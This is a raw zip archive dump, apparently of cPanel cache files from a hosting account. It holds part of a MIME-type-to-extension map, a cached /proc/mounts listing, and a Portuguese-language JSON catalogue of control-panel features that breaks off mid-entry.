txt","application/vnd.oasis.opendocument.formula":"odf","application/rpki-ghostbusters":"gbr","application/vnd.denovo.fcselayout-link":"fe_launch","text/x-java-source":"java","application/mac-binhex40":"hqx","application/vnd.geogebra.tool":"ggt","application/vnd.publishare-delta-tree":"qps","application/vnd.svd":"svd","image/x-xpixmap":"xpm","application/vnd.groove-injector":"grv","application/mac-compactpro":"cpt","application/vnd.is-xpr":"xpr","application/vnd.accpac.simply.aso":"aso","application/x-msmoney":"mny","image/bmp":"bmp","application/vnd.openxmlformats-officedocument.wordprocessingml.template":"dotx","application/vnd.cinderella":"cdy","application/vnd.grafeq":"gqf gqs","application/vnd.geometry-explorer":"gex gre","text/vnd.fmi.flexstor":"flx","application/vnd.lotus-1-2-3":"123","application/vnd.mobius.txf":"txf","application/gpx+xml":"gpx","application/vnd.ms-excel.sheet.macroenabled.12":"xlsm","audio/x-pn-realaudio-plugin":"rmp","application/vnd.mozilla.xul+xml":"xul","font/collection":"ttc","application/vnd.audiograph":"aep","application/vnd.recordare.musicxml+xml":"musicxml","application/andrew-inset":"ez","application/cdmi-queue":"cdmiq","application/vnd.stardivision.draw":"sda","application/vnd.anser-web-certificate-issue-initiation":"cii","application/vnd.mobius.daf":"daf","application/x-pkcs7-crl":".crl","application/vnd.insors.igm":"igm","application/vnd.wap.wmlc":".wmlc wmlc","application/vnd.pvi.ptid1":"ptid","application/pkcs7-signature":"p7s","audio/vnd.dece.audio":"uva uvva","audio/midi":"kar mid midi rmi","application/vnd.3gpp.pic-bw-small":"psb","audio/vnd.nuera.ecelp9600":"ecelp9600","application/vnd.lotus-freelance":"pre","chemical/x-csml":"csml","application/vnd.openxmlformats-officedocument.wordprocessingml.document":"docx","application/x-gtar":"gtar","application/x-sv4cpio":"sv4cpio","application/vnd.eszigno3+xml":"es3 et3","audio/mpeg":"m2a m3a mp2 mp2a mp3 mpga","application/vnd.criticaltools.wbs+xml":"wbs","image/jpeg":"jpe jpeg jpg","application/vnd.oasis.opendocument.spreadsheet-template":"ots","text/x-vcard":"vcf","application/vnd.hbci":"hbci","application/vnd.joost.joda-archive":"joda","application/set-payment-initiation":"setpay","application/vnd.fdsn.seed":"dataless seed","application/vnd.hp-hps":"hps","application/vnd.rim.cod":"cod","application/atomsvc+xml":"atomsvc","application/x-pkcs7-certificates":"p7b spc","application/widget":"wgt","application/metalink+xml":"metalink","application/x-rar-compressed":"rar","application/yang":"yang","application/vnd.ms-wpl":"wpl","application/vnd.curl.car":"car","application/vnd.yamaha.openscoreformat.osfpvg+xml":"osfpvg","application/vnd.ms-powerpoint":"pot pps ppt","image/vnd.ms-modi":"mdi","text/uri-list":"uri uris urls","text/html":".shtml htm html shtml","application/atom+xml":"atom","application/vnd.ms-project":"mpp mpt","image/jxl":"jxl","application/hyperstudio":"stk","application/lost+xml":"lostxml","application/x-csh":"csh","application/oebps-package+xml":"opf","application/yin+xml":"yin","text/n3":"n3","application/vnd.geonext":"gxt","model/vnd.gdl":"gdl","application/vnd.picsel":"efif","video/x-f4v":"f4v","application/x-msmediaview":"m13 m14 mvb","application/vnd.ms-cab-compressed":"cab","application/jsonml+json":"jsonml","application/vnd.wqd":"wqd","application/vnd.mobius.mbk":"mbk","application/vnd.amiga.ami":"ami","application/vnd.intu.qbo":"qbo","application/srgs+xml":"grxml","application/vnd.apple.mpegurl":"m3u8","application/vnd.sun.xml.calc.template":"stc","application/x-director":"cct cst cxt dcr dir dxr fgd swa w3d","application/vnd.nokia.n-gage.symbian.install":"n-gage","application/vnd.route66.link66+xml":"link66","audio/vnd.nuera.ecelp7470":"ecelp7470","application/dssc+xml":"xdssc","application/vnd.novadigm.edx":"edx","application/vnd.oasis.opendocument.database":"odb","application/vnd.gmx":"gmx","video/x-ms-vob":"vob","application/ccxml+xml":"ccxml","text/javascript":"js mjs","audio/vnd.dts":"dts","model/iges":"iges igs","application/vnd.fuzzysheet":"fzs","message/rfc822":"eml mime","video/x-msvideo":"avi","application/x-ms-wmz":"wmz","application/java-serialized-object":"ser","application/vnd.osgi.dp":"dp","application/vnd.previewsystems.box":"box","application/vnd.crick.clicker.template":"clkt","application/rdf+xml":"rdf","application/x-stuffitx":"sitx","audio/vnd.dts.hd":"dtshd","application/vnd.visionary":"vis","application/vnd.sun.xml.impress":"sxi","application/vnd.mobius.mqy":"mqy","application/x-xfig":"fig","application/vnd.groove-tool-message":"gtm","audio/vnd.digital-winds":"eol","application/vnd.ms-xpsdocument":"xps","video/mj2":"mj2 mjp2","application/vnd.adobe.air-application-installer-package+zip":"air","video/mp2t":"m2t m2ts mts ts","application/vnd.noblenet-directory":"nnd","application/vnd.geoplan":"g2w","application/resource-lists+xml":"rl","application/x-eva":"eva","application/vnd.epson.esf":"esf","application/sdp":"sdp","application/x-mswrite":"wri","application/vnd.sun.xml.impress.template":"sti","application/x-gnumeric":"gnumeric","application/vnd.ms-htmlhelp":"chm","model/x3d+binary":"x3db x3dbz","application/vnd.android.package-archive":"apk","application/x-tex":"tex","application/vnd.ibm.modcap":"afp list3820 listafp","application/vnd.flographit":"gph","application/x-authorware-bin":"aab u32 vox x32","application/vnd.mophun.certificate":"mpc","application/vnd.solent.sdkm+xml":"sdkd sdkm","application/vnd.acucobol":"acu","application/ssdl+xml":"ssdl","application/vnd.handheld-entertainment+xml":"zmm","application/zip":"zip","font/ttf":"ttf","chemical/x-cdx":"cdx","application/vnd.stepmania.package":"smzip","application/vnd.wordperfect":"wpd","audio/silk":"sil","application/x-httpd-ea-php72":"php php7","application/vnd.hp-pclxl":"pclxl","application/mbox":"mbox"}PK�n[����2
2
MOUNTS_CACHE__proc_mountsnu"�]
�sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime,gid=1002,hidepid=2 0 0
devtmpfs /dev devtmpfs rw,nosuid,size=40889644k,nr_inodes=10222411,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,nodev,mode=755 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
bpf /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
configfs /sys/kernel/config configfs rw,relatime 0 0
/dev/md127 / ext4 rw,relatime,stripe=256,jqfmt=vfsv1,usrjquota=quota.user 0 0
none /var/lve/dbgovernor-shm tmpfs rw,nosuid,nodev,relatime,mode=777 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime,pagesize=2M 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=42,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=21662 0 0
/dev/md124p2 /boot ext4 rw,relatime 0 0
/dev/md124p3 /home2 ext4 rw,relatime,jqfmt=vfsv1,usrjquota=quota.user 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
/dev/loop0 /tmp ext4 rw,nosuid,noexec,relatime,discard 0 0
/dev/loop0 /var/tmp ext4 rw,nosuid,noexec,relatime,discard 0 0
tmpfs /run/user/0 tmpfs rw,nosuid,nodev,relatime,size=8181544k,mode=700 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0PK�n[,W���*AVAILABLE_APPLICATIONS_CACHE_pt-br_jupiternu"�]
�{"default_group_order":{"soft_div":10,"sitepad_div":10,"security":6,"preferences":8,"databases":3,"domains":4,"sample_apps":9,"whmcs":1,"software":6,"email":1,"advanced":7,"files":2,"metrics":5},"implements":{"WHMCS_clientarea_knowledgebase":"WHMCS_clientarea_knowledgebase","Email_BoxTrapper":"boxtrapper","SSL_TLS_Manager":"ssl_tls","Calendar_Configure":"calendar_and_contacts","Email_AutoResponders":"autoresponders","SSL_TLS_Status":"tls_status","Cron_Home":"cron_jobs","Database_MySQL":"mysql_databases","Email_SpamFilter":"apache_spam_assassin","Email_Accounts":"email_accounts","upgrade":"WHMCS_clientarea_upgrade","WHMCS_clientarea_billing_info":"WHMCS_clientarea_billing_info","WHMCS_clientarea_submit_ticket":"WHMCS_clientarea_submit_ticket","WHMCS_clientarea_invoices":"WHMCS_clientarea_invoices","WHMCS_clientarea_profile":"WHMCS_clientarea_profile","ContactInfo_Change":"contact_information","Email_UserLevelFiltering":"email_filters","API_Tokens_Manager":"api_tokens","Database_phpMyAdmin":"php_my_admin","Email_Disk_Usage":"email_disk_usage","WHMCS_clientarea_emails":"WHMCS_clientarea_emails","WHMCS_clientarea_network_status":"WHMCS_clientarea_network_status","Domains_domains":"domains","WHMCS_clientarea_announcements":"WHMCS_clientarea_announcements","SitePad_Home":"sitepad","Backups_Home":"backup","Softaculous_WordPress":"wp_softaculous","WHMCS_clientarea_downloads":"WHMCS_clientarea_downloads","JetBackup5":"jb5","Site_Software":"site_software","FileManager_Home":"file_manager","WHMCS_clientarea_shopping_cart_domain_register":"WHMCS_clientarea_shopping_cart_domain_register","support":"WHMCS_clientarea_tickets","billing":"WHMCS_clientarea_product_details","Email_DefaultAddress":"default_address","Softaculous_Home":"softaculous","Email_Routing":"email_routing","Email_Forwarders":"forwarders","Zone_Editor":"zone_editor","Locale_Change":"change_language","Email_DeliveryReport":"track_delivery","Email_AccountLevelFiltering":"global_email_filters","WHMCS_clientarea_shopping_cart_domain_transfer":"WHMCS_clientarea_shopping_cart_domain_transfer"},"groups":[{"group":"email","items":[{"key":"email_accounts","description":"Crie, gerencie e exclua contas de e-mail.","searchtext":"email accounts mail pop imap smtp Contas de e-mail","base64_png_image":"","onclick":"","feature":"popaccts","height":"48","implements":"Email_Accounts","url":"email_accounts/index.html","group":"email","file":"email_accounts","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"Contas de e-mail","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Accounts"},{"implements":"Email_Forwarders","group":"email","url":"mail/fwds.html","base64_png_image":"","searchtext":"Encaminhadores","description":"Configure um endereço de e-mail para encaminhar cópias de e-mails recebidos para outro endereço.","key":"forwarders","height":"48","feature":"forwarders || emaildomainfwd","onclick":"","imgtype":"icon","plainitemdesc":"Forwarders","target":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","file":"forwarders","width":"48","itemdesc":"Encaminhadores","itemorder":"3","subtype":"img","acontent":""},{"plainitemdesc":"Email Routing","target":"","type":"image","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","imgtype":"icon","width":"48","itemdesc":"Roteamento de e-mail","itemorder":"4","acontent":"","subtype":"img","file":"email_routing","group":"email","url":"mail/email_routing.html","implements":"Email_Routing","height":"48","feature":"changemx","onclick":"","base64_png_image":"","searchtext":"DNS de roteamento de e-mail de entrada MX Roteamento de e-mail","description":"Configure como o sistema roteia os e-mails recebidos de um domínio.","key":"email_routing"},{"itemdesc":"Respostas automáticas","width":"48","itemorder":"5","subtype":"img","acontent":"","file":"autoresponders","plainitemdesc":"Autoresponders","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","imgtype":"icon","height":"48","feature":"autoresponders","onclick":"","base64_png_image":"","description":"Configure mensagens de resposta automática de e-mail.","searchtext":"Autoresponders autoresponder auto responders Respostas automáticas","key":"autoresponders","group":"email","url":"mail/autores.html","implements":"Email_AutoResponders"},{"url":"mail/def.html","group":"email","implements":"Email_DefaultAddress","feature":"defaultaddress","onclick":"","height":"48","description":"Configurar um endereço de e-mail padrão.","searchtext":"Endereço padrão","key":"default_address","base64_png_image":"","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Default Address","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Endereço padrão","width":"48","itemorder":"6","file":"default_address"},{"imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","target":"","plainitemdesc":"Track Delivery","file":"track_delivery","acontent":"","subtype":"img","itemorder":"8","width":"48","itemdesc":"Rastrear entrega","implements":"Email_DeliveryReport","url":"mail/route.html","group":"email","key":"track_delivery","searchtext":"Rastreie o e-mail de entrega Rastreie o relatório de entrega de e-mail Rastrear entrega","description":"Exibir relatórios sobre tentativas de entrega de mensagem de e-mail.","base64_png_image":"","onclick":"","feature":"emailtrace","height":"48"},{"implements":"Email_AccountLevelFiltering","group":"email","url":"mail/filters/userfilters.html","base64_png_image":"","description":"Configure como seu servidor filtra todos os e-mails que as contas de e-mail de seus domínios recebem.","searchtext":"Filtros globais de e-mail filtram a filtragem no nível da conta Filtros de e-mail global","key":"global_email_filters","height":"48","feature":"blockers","onclick":"","imgtype":"icon","plainitemdesc":"Global Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","file":"global_email_filters","itemdesc":"Filtros de e-mail global","width":"48","itemorder":"9","subtype":"img","acontent":""},{"height":"48","feature":"blockers","onclick":"","base64_png_image":"","searchtext":"Filtros de usuário Nível de usuário de e-mail Filtro de filtragem Filtros de e-mail","description":"Configure como seu servidor filtra os e-mails recebidos de uma conta de e-mail específica.","key":"email_filters","group":"email","url":"mail/filters/managefilters.html","implements":"Email_UserLevelFiltering","width":"48","itemdesc":"Filtros de e-mail","itemorder":"10","subtype":"img","acontent":"","file":"email_filters","plainitemdesc":"Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","imgtype":"icon"},{"height":"48","feature":"csvimport","onclick":"","base64_png_image":"","description":"Use uma planilha ou arquivo de texto com valores separados com vírgulas para rapidamente criar caixas de e-mail ou encaminhadores.","searchtext":"Importador de Endereços Importar Endereços Encaminhamento de Correio importação de csv importação de xls t","key":"address_importer","group":"email","url":"mail/csvimport.html","itemdesc":"Importador de Endereços","width":"48","itemorder":"12","acontent":"","subtype":"img","file":"address_importer","target":"","plainitemdesc":"Address Importer","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon"},{"implements":"Email_SpamFilter","url":"mail/spam/index.html","group":"email","key":"apache_spam_assassin","description":"Configure as definições do filtro de spam para sua conta de e-mail.","searchtext":"Filtragem Spam Assassin spamassassin Apache SpamAssassin Filtros de spam","base64_png_image":"","onclick":"","feature":"spamassassin","height":"48","imgtype":"icon","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","type":"image","plainitemdesc":"Spam Filters","target":"","file":"apache_spam_assassin","subtype":"img","acontent":"","itemorder":"13","width":"48","itemdesc":"Filtros de spam"},{"height":"48","feature":"pgp","onclick":"","base64_png_image":"","description":"Criar, gerenciar e excluir chaves de GnuPG.","searchtext":"Chaves gpg de criptografia Chaves GnuPG Criptografia","key":"encryption","group":"email","url":"gpg/index.html","itemdesc":"Criptografia","width":"48","itemorder":"15","subtype":"img","acontent":"","file":"encryption","target":"","plainitemdesc":"Encryption","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon"},{"subtype":"img","acontent":"","width":"48","itemdesc":"BoxTrapper","itemorder":"16","file":"boxtrapper","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","target":"","imgtype":"icon","feature":"boxtrapper","onclick":"","height":"48","searchtext":"BoxTrapper filter","description":"Filtre o spam da sua caixa de entrada por meio da verificação de resposta ao desafio.","key":"boxtrapper","base64_png_image":"","url":"mail/boxtrapper.html","group":"email","implements":"Email_BoxTrapper"},{"base64_png_image":"","description":"Gerenciar suas contas de CalDAV (calendário) e CardDAV (contatos).","searchtext":"email calendar contact address book CalDAV CardDAV Calendars and Contacts Configuration","key":"calendar_and_contacts","height":"48","feature":"caldavcarddav","onclick":"","implements":"Calendar_Configure","group":"email","url":"mail/calendars_and_contacts/index.html","file":"calendar_and_contacts","width":"48","itemdesc":"Calendars and Contacts Configuration","itemorder":"18","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Calendars and Contacts Configuration","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image"},{"if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","plainitemdesc":"Calendars and Contacts Sharing","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":18,"itemdesc":"Calendars and Contacts Sharing","width":48,"file":"manage_calendar_access","url":"manage-calendar-access/index.html","group":"email","onclick":"","feature":"caldavcarddav","height":48,"key":"manage_calendar_access","description":"Delegate access rights for a user’s calendar &amp; contacts to other users.","searchtext":"calendar delegation Calendars and Contacts Sharing","base64_png_image":""},{"imgtype":"icon","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","target":"","plainitemdesc":"Calendars and Contacts Management","file":"calendar_contact_management","acontent":"","subtype":"img","itemorder":19,"width":48,"itemdesc":"Calendars and Contacts Management","url":"calendar-contact-management/index.html","group":"email","key":"calendar_contact_management","description":"Calendars and Contacts Management","searchtext":"calendar contact management address book addressbook Calendars and Contacts Management","base64_png_image":"","onclick":"","feature":"caldavcarddav","height":48},{"subtype":"img","acontent":"","itemorder":"20","itemdesc":"Uso de disco com e-mail","width":"48","file":"email_disk_usage","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Disk Usage","imgtype":"icon","onclick":"","feature":"popaccts && email_disk_usage","height":"48","key":"email_disk_usage","description":"Veja suas caixas de e-mail e uso do disco para cada uma delas e remova mensagens antigas ou grandes.","searchtext":"email accounts mail disk usage bytes mb size Uso de disco com e-mail","base64_png_image":"","url":"mail/manage_disk_usage/","group":"email","implements":"Email_Disk_Usage"}],"desc":"E-mail"},{"items":[{"group":"software","url":"cache/index.live.php","height":"48","feature":"cache","onclick":"","base64_png_image":"","searchtext":"Cache","description":"Cache","target":"","plainitemdesc":"Cache","type":"image","imgtype":"icon","itemdesc":"Cache","width":"48","itemorder":"1","subtype":"img","acontent":"","file":"cache"},{"url":"../../3rdparty/sitepad/index.live.php","group":"software","implements":"SitePad_Home","onclick":"","feature":"sitepad","height":"48","searchtext":"SitePad Website Builder","description":"SitePad Website Builder","base64_png_image":"","type":"image","target":"","plainitemdesc":"SitePad Website Builder","imgtype":"icon","acontent":"","subtype":"img","itemorder":"1","itemdesc":"SitePad Website Builder","width":"48","file":"sitepad"},{"file":"wp_softaculous","acontent":"","subtype":"img","itemorder":"1","itemdesc":"WordPress Manager by Softaculous","width":"48","imgtype":"icon","type":"image","plainitemdesc":"WordPress Manager by Softaculous","target":"","description":"WordPress Manager by Softaculous","searchtext":"WordPress Manager by Softaculous","base64_png_image":"","onclick":"","feature":"wp_softaculous","height":"48","implements":"Softaculous_WordPress","url":"softaculous/index.live.php?act=wordpress","group":"software"},{"acontent":"","subtype":"img","width":"48","itemdesc":"Pacotes PHP PEAR","itemorder":"2","file":"php_pear_packages","if":"$haspear","type":"image","plainitemdesc":"PHP PEAR Packages","target":"","imgtype":"icon","feature":"modules-php-pear","onclick":"","height":"48","searchtext":"Pacotes PHP PEAR ","description":"Pesquisar e adicionar pacotes PEAR para o seu site ou veja os pacotes PHP disponíveis.","key":"php_pear_packages","base64_png_image":"","url":"module_installers/index.html?lang=php-pear","group":"software"},{"group":"software","url":"module_installers/index.html?lang=perl","base64_png_image":"","key":"perl_modules","description":"Pesquisar e instalar módulos Perl do repositório CPAN.","searchtext":"Módulos Perl","height":"48","onclick":"","feature":"modules-perl","imgtype":"icon","target":"","plainitemdesc":"Perl Modules","type":"image","if":"$hasperl","file":"perl_modules","itemorder":"3","itemdesc":"Módulos Perl","width":"48","acontent":"","subtype":"img"},{"height":"48","feature":"modules-ruby","onclick":"","base64_png_image":"","searchtext":"RubyGems ror ruby gems rails","description":"Distribuir programas e bibliotecas Ruby®.","key":"ruby_gems","group":"software","url":"module_installers/index.html?lang=ruby","itemdesc":"RubyGems","width":"48","itemorder":"4","subtype":"img","acontent":"","file":"ruby_gems","target":"","plainitemdesc":"RubyGems","type":"image","if":"$hasgem","imgtype":"icon"},{"implements":"Site_Software","url":"addoncgi/cpaddons.html","group":"software","description":"Atualize, gerencie e desinstale cPAddons.","searchtext":"Software de complementos de software do site Software do site","key":"site_software","base64_png_image":"","feature":"addoncgi","onclick":"","height":"32","imgtype":"icon","cpanel_os_check":"supports_cpaddons=1","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Site Software","file":"site_software","file_check":"!/var/cpanel/cpaddons.disabled","subtype":"img","acontent":"","itemdesc":"Software do site","width":"32","itemorder":"6"},{"height":"48","onclick":"","feature":"passengerapps","base64_png_image":"","key":"application_manager","searchtext":"apps passenger ruby ror gems rails Gerenciamento da Aplicação","description":"Implementar aplicativos com o servidor de aplicativo Phusion Passenger®.","group":"software","url":"passenger/index.html","itemorder":"8","width":"48","itemdesc":"Gerenciamento da Aplicação","subtype":"img","acontent":"","file":"application_manager","target":"","plainitemdesc":"Application Manager","type":"image","imgtype":"icon"},{"group":"software","url":"multiphp_manager/index.html","base64_png_image":"","key":"multiphp_manager","searchtext":"MultiPHP Manager Gerenciador MultiPHP","description":"Gerenciar sua configuração de PHP.","height":"48","onclick":"","feature":"multiphp","imgtype":"icon","target":"","plainitemdesc":"MultiPHP Manager","type":"image","if":"$is_ea4","file":"multiphp_manager","itemorder":"8","width":"48","itemdesc":"Gerenciador MultiPHP","acontent":"","subtype":"img"},{"onclick":"","feature":"multiphp_ini_editor","height":"48","key":"multiphp_ini_editor","description":"Configure as definições PHP de seu website.","searchtext":"MultiPHP INI Editor php config Editor INI MultiPHP","base64_png_image":"","url":"multiphp_ini_editor/index.html","group":"software","acontent":"","subtype":"img","itemorder":"9","width":"48","itemdesc":"Editor INI MultiPHP","file":"multiphp_ini_editor","if":"$is_ea4","type":"image","target":"","plainitemdesc":"MultiPHP INI Editor","imgtype":"icon"},{"implements":"Softaculous_Home","group":"software","url":"softaculous/index.live.php","base64_png_image":"","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","height":"48","onclick":"","feature":"softaculous","imgtype":"icon","target":"","plainitemdesc":"Softaculous Apps Installer","type":"image","file":"softaculous","itemorder":"99","itemdesc":"Softaculous Apps Installer","width":"48","subtype":"img","acontent":""},{"url":"lveversion/nodejs-selector.html.tt","group":"software","feature":"lvenodejssel","onclick":"","height":"48","description":"Setup Node.js App","searchtext":"Setup Node.js App","base64_png_image":"","type":"image","plainitemdesc":"Setup Node.js App","target":"","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"Setup Node.js App","width":"48","itemorder":"999","file":"lvenodejssel"},{"url":"lveversion/php_selector.live.pl","group":"software","onclick":"","feature":"lvephpsel","height":"48","description":"Selecionar Versão do PHP","searchtext":"Selecionar Versão do PHP","base64_png_image":"","type":"image","target":"","plainitemdesc":"Select PHP Version","imgtype":"icon","acontent":"","subtype":"img","itemorder":"999","itemdesc":"Selecionar Versão do PHP","width":"48","file":"lvephpsel"},{"base64_png_image":"","description":"Setup Python App","searchtext":"Setup Python App","height":"48","onclick":"","feature":"lvepythonsel","group":"software","url":"lveversion/python-selector.html.tt","file":"lvepythonsel","itemorder":"999","width":"48","itemdesc":"Setup Python App","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Setup Python App","type":"image"},{"target":"","plainitemdesc":"Setup Ruby App","type":"image","imgtype":"icon","itemorder":"999","width":"48","itemdesc":"Setup Ruby App","acontent":"","subtype":"img","file":"lverubysel","group":"software","url":"lveversion/ruby-selector.html.tt","height":"48","onclick":"","feature":"lverubysel","base64_png_image":"","description":"Setup Ruby App","searchtext":"Setup Ruby App"},{"imgtype":"icon","type":"image","plainitemdesc":"AccelerateWP","target":"","file":"lvewpos","acontent":"","subtype":"img","width":"48","itemdesc":"AccelerateWP","itemorder":"999","url":"lveversion/wpos.live.pl","group":"software","searchtext":"AccelerateWP","description":"AccelerateWP","base64_png_image":"","feature":"lvewpos","onclick":"","height":"48"}],"group":"software","desc":"Software"},{"desc":"Billing & Support","group":"whmcs","items":[{"implements":"WHMCS_clientarea_announcements","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_announcements","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAz1BMVEUAAAAlMjw3R1E/UbXOzs7t7e0lMjw3R1E/UbXOzs7t7e0lMjw3R1E/UbXOzs4lMjw3R1Ht7e0lMjzt7e0lMjw/UbXOzs7t7e0lMjzOzs7t7e0lMjzOzs7l5eXt7e0lMjwlMjyFj8usr7Ht7e0lMjw/UbXOzs7t7e0lMjw3R1E/UbXOzs7l5eUlMjw3R1E/UbWCjcvOzs7t7e0lMjw3R1E/UbXt7e0lMjw3R1Gsr7HOzs7t7e0lMjw3R1E/UbV6gIWWn9Gkp6rOzs7l5eXt7e3yVtnBAAAAPHRSTlMAEBAQEBAgICAgIDAwMDBAQEBQUGBgYGBwcHCAgICAj5+fn5+vr6+vv7+/v7/Pz8/Pz8/f39/f7+/v7++T1js6AAABJUlEQVR4Ac3UXVOCQBTG8YcSK7AMtUKzsoCgyF4kJQupbL//Z8qd2EllzXMumvpfn9/Oc7X4P20H18EmyFnn+awAxMzTl7dcRj4XggGORkLQgdmR52RgyTF00AyFjAbMpqce14FKuzvfSTgQKi2oPEwX+hDiZ3A4ZYIuDxj+Kw/0Mx6wMwa43QDqHDC54oJJjQv2fxs8ggeeagBSBtjCLDuhA3x1wQVtLth5ZgLsXcbj96JxHN+M1gCZmxVFkDmdwRpQXQAySxk9QL8AKb5zvDIobzIwl+WtBLYCjeWveAVAUoAelrI8PTgrQGqgREIFtJtaKOfcy/s7aDclBjQdDPPhLrSbsmPQsjOVTRSpAj4R9BRIiaChgAvWJr8Oaq0o8t0q/rhP5iAmML/5edQAAAAASUVORK5CYII=","searchtext":"News & Announcements","description":"News & Announcements","height":48,"onclick":"","imgtype":"icon","plainitemdesc":"News & Announcements","target":"_blank","type":"image","file":"WHMCS_clientarea_announcements","itemdesc":"News & Announcements","width":48,"itemorder":"1","acontent":"target=\"_blank\"","subtype":"img"},{"file":"WHMCS_clientarea_billing_info","itemorder":"1","width":48,"itemdesc":"Manage Billing Information","acontent":"target=\"_blank\"","subtype":"img","imgtype":"icon","plainitemdesc":"Manage Billing Information","target":"_blank","type":"image","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAq1BMVEUAAAAnrmCRVaonrmAnrmAnrmA8nG8nrmAnrmAnrmAnrmCRVaolMjwnrmBQQGhmR36RVaonrmAnrmCRVaonrmCRVaonrmAnrmB1bZYlMjwnrmAuqGU0o2k1s2pOP2VQvX5cgoVdwohpSIFwRIRyRYZ2R4t4zJx8SpJ9ZpyDTpmEYKGFT5yG0aaHUJ6KW6WLUqONU6WPVKiRVaqT17Ch3Lmu4cPJ69fX8OH///+LoxvkAAAAGXRSTlMAEBAgQFBQYHCAj4+fn5+fn6+/v8/P3+/v8CJ0UAAAAUhJREFUeAGV0OtSwjAQxfGlXKoUudBWYS2Cooh3iaB5/ydzJ053MkMPJufz7z+zCcEluTEZhS8pjWwc52WjSH83H0T6OS6AxwXyuABeNoz0N2Yc6Q0ooAcF9KDAfvcECuQf1o9ahPm1FoFei3CvRaCX3X9qEeY/jFsW52XYy96OvYHe7eXI59hr4fsywV6LKC9FnJftfC/LsfennmI9xXrK4rxsHOCfZ71OS4vRP/59VTHLJp26GJz0W8fdLrwC+2tm3VQLfE/F/s61AN6s1C72+wVzuy6GpnmV+h9rX5nPvN9t2tb39lZfAYuZ2C97+PMbltHJouwJ+bb2oJ4JF+KTjpCNYPWXhAvx1GZXqOcJ4UI8UeEK9ZwSLJyn1LHlklkvAoXzsgn76xIo1FOr8HxKBAr1UvRrftWlxmXG5Al5a/cL0dO0RbJf5tfi7Ihl2PMAAAAASUVORK5CYII=","searchtext":"Manage Billing Information","description":"Manage Billing Information","height":48,"onclick":"","implements":"WHMCS_clientarea_billing_info","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_billing_info"},{"url":"integration/index.html?app=WHMCS_clientarea_downloads","group":"whmcs","implements":"WHMCS_clientarea_downloads","onclick":"","height":48,"description":"Download Resources","searchtext":"Download 